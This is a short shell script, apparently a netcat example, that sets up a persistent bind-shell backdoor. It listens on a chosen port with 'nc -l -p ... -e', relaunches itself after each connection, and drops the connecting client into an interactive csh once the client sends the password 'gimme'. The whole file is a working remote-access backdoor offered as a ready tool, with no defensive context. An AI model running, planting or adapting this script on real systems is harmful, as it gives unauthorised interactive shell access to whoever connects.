1 #! /bin/sh 2 ## a little wrapper to "password" and re-launch a shell-listener. 3 ## Arg is taken as the port to listen on. Define "NC" to point wherever. 4 5 NC=nc 6 7 case "$1" in 8 ?* ) 9 LPN="$1" 10 export LPN 11 sleep 1 12 echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 13 echo "launched on port $LPN" 14 exit 0 15 ;; 16 esac 17 18 # here we play inetd 19 echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 20 21 while read qq ; do 22 case "$qq" in 23 # here's yer password 24 gimme ) 25 cd / 26 exec csh -i 27 ;; 28 esac 29 done 30